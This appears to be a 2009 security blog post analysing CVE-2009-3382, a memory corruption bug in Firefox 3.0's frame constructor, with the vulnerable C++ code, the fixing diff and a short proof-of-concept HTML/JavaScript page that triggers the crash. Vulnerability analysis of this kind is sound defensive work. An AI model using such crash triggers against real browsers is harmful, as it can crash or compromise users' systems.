xorl %eax, %eax

CVE-2009-3382: Mozilla Firefox Browser Engine Memory Corruption

leave a comment »

This bug was fixed in release 3.0.15 since it affects only 3.0 branch and it was reported by Carsten Book of Mozilla project.
The vulnerability can be found at mozilla/layout/base/nsCSSFrameConstructor.cpp file which contains methods for the construction and update of a frame tree and the following snippet was taken from that file of 3.0.14 release of the popular web browser…

/**
 * Create a new letter frame for aTextFrame. The letter frame will be
 * a child of aParentFrame.
 */
nsresult
nsCSSFrameConstructor::CreateLetterFrame(nsFrameConstructorState& aState,
                                         nsIFrame* aBlockFrame,
                                         nsIContent* aTextContent,
                                         nsIFrame* aParentFrame,
                                         nsFrameItems& aResult)
{
  NS_PRECONDITION(aTextContent->IsNodeOfType(nsINode::eTEXT),
                  "aTextContent isn't text");
       ...
  // Get style context for the first-letter-frame
  nsStyleContext* parentStyleContext =
    nsFrame::CorrectStyleParentFrame(aParentFrame,
                                     nsCSSPseudoElements::firstLetter)->
      GetStyleContext();
       ...
    // Create the right type of first-letter frame
    const nsStyleDisplay* display = sc->GetStyleDisplay();
    if (display->IsFloating()) {
      // Make a floating first-letter frame
      CreateFloatingLetterFrame(aState, aBlockFrame, aTextContent, textFrame,
                                blockContent, aParentFrame,
                                sc, aResult);
    }
      ...
  return NS_OK;
}

This constructor method is used when the creation of a new letter frame is required. Its first argument, ‘aState’ should contain block information of the processed frame, however, under certain conditions this object could contain information for a different part of the frame tree (than where the first line occurs as Mats Palmgren said). Because of this incosistency, the call to GetStyleDisplay() and the subsequent call to CreateFloatingLetterFrame() methods will result in invalid memory access.
To fix this behavior, this constructor routine was changed to avoid direct access to ‘aState’ variable like this:

  */
 nsresult
-nsCSSFrameConstructor::CreateLetterFrame(nsFrameConstructorState& aState,
-                                         nsIFrame* aBlockFrame,
+nsCSSFrameConstructor::CreateLetterFrame(nsIFrame* aBlockFrame,
                                          nsIContent* aTextContent,

And inside this constructor method, GetContent() was updated since it was using ‘aState’ object with a more dynamic approach like this:

   nsStyleContext* parentStyleContext =
     nsFrame::CorrectStyleParentFrame(aParentFrame,
                                      nsCSSPseudoElements::firstLetter)->
       GetStyleContext();
+
   // Use content from containing block so that we can actually
   // find a matching style rule.
-  nsIContent* blockContent =
-    aState.mFloatedItems.containingBlock->GetContent();
-
-  NS_ASSERTION(blockContent == aBlockFrame->GetContent(),
-               "Unexpected block content");
+  nsIContent* blockContent = aBlockFrame->GetContent();
 
   // Create first-letter style rule

At last, before calling GetStyleDisplay(), a new object named ‘state’ was initialized and an assertion was performed on the previously retrieved block frame like this:

     // Create a new text frame (the original one will be discarded)
     // pass a temporary stylecontext, the correct one will be set later
     nsIFrame* textFrame = NS_NewTextFrame(mPresShell, textSC);
 
+     NS_ASSERTION(aBlockFrame == GetFloatContainingBlock(aParentFrame),
+                  "Containing block is confused");
+     nsFrameConstructorState state(mPresShell, mFixedContainingBlock,
+                                   GetAbsoluteContainingBlock(aParentFrame),
+                                   aBlockFrame);
+
     // Create the right type of first-letter frame
     const nsStyleDisplay* display = sc->GetStyleDisplay();
     if (display->IsFloating()) {
       // Make a floating first-letter frame
-      CreateFloatingLetterFrame(aState, aBlockFrame, aTextContent, textFrame,
+      CreateFloatingLetterFrame(state, aBlockFrame, aTextContent, textFrame,
                                 blockContent, aParentFrame,
                                 sc, aResult);
     }

Similar removals of direct access to ‘aState’ were also performed in nsCSSFrameConstructor::WrapFramesInFirstLetterFrame(), nsCSSFrameConstructor::WrapFramesInFirstLetterFrame() and nsCSSFrameConstructor::RecoverLetterFrames() methods.
Carsten Book also provided a PoC trigger HTML document which you can download here. What it does is the following.

<html><head><script>
function doe2(i) {
document.getElementById('a').setAttribute('style', 'display: -moz-box; ');
document.getElementById('c').style.display = 'none';
}
setTimeout(doe2,500,0);
</script>
<style>
div::first-letter {float: right; }
</style>
</head>

<body>
<div style="width: 50px; -moz-column-count: 2;">
a
<span style="display: table-cell;"></span><div style="display: -moz-box; font-size: 43px;">
<span id="a">
  <span style="display: -moz-box;">
    <span id="c">m</span>
  </span>
</span>
</div>

</div>
</body>
</html>

What it does is using the JavaScript function setTimeout(), to execute doe2() function after 500 miliseconds. This will retrive ID ‘a’ and update its attributes and then do the same for ID ‘c’ to reset its display style to ‘none’. The nested span tags for the two IDs will trigger the incosistency of ‘aState’ when attempting to execute GetStyleDisplay() and thus, the memory corruption because of invalid memory access.

Written by xorl

November 1, 2009 at 13:53

Posted in bugs

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s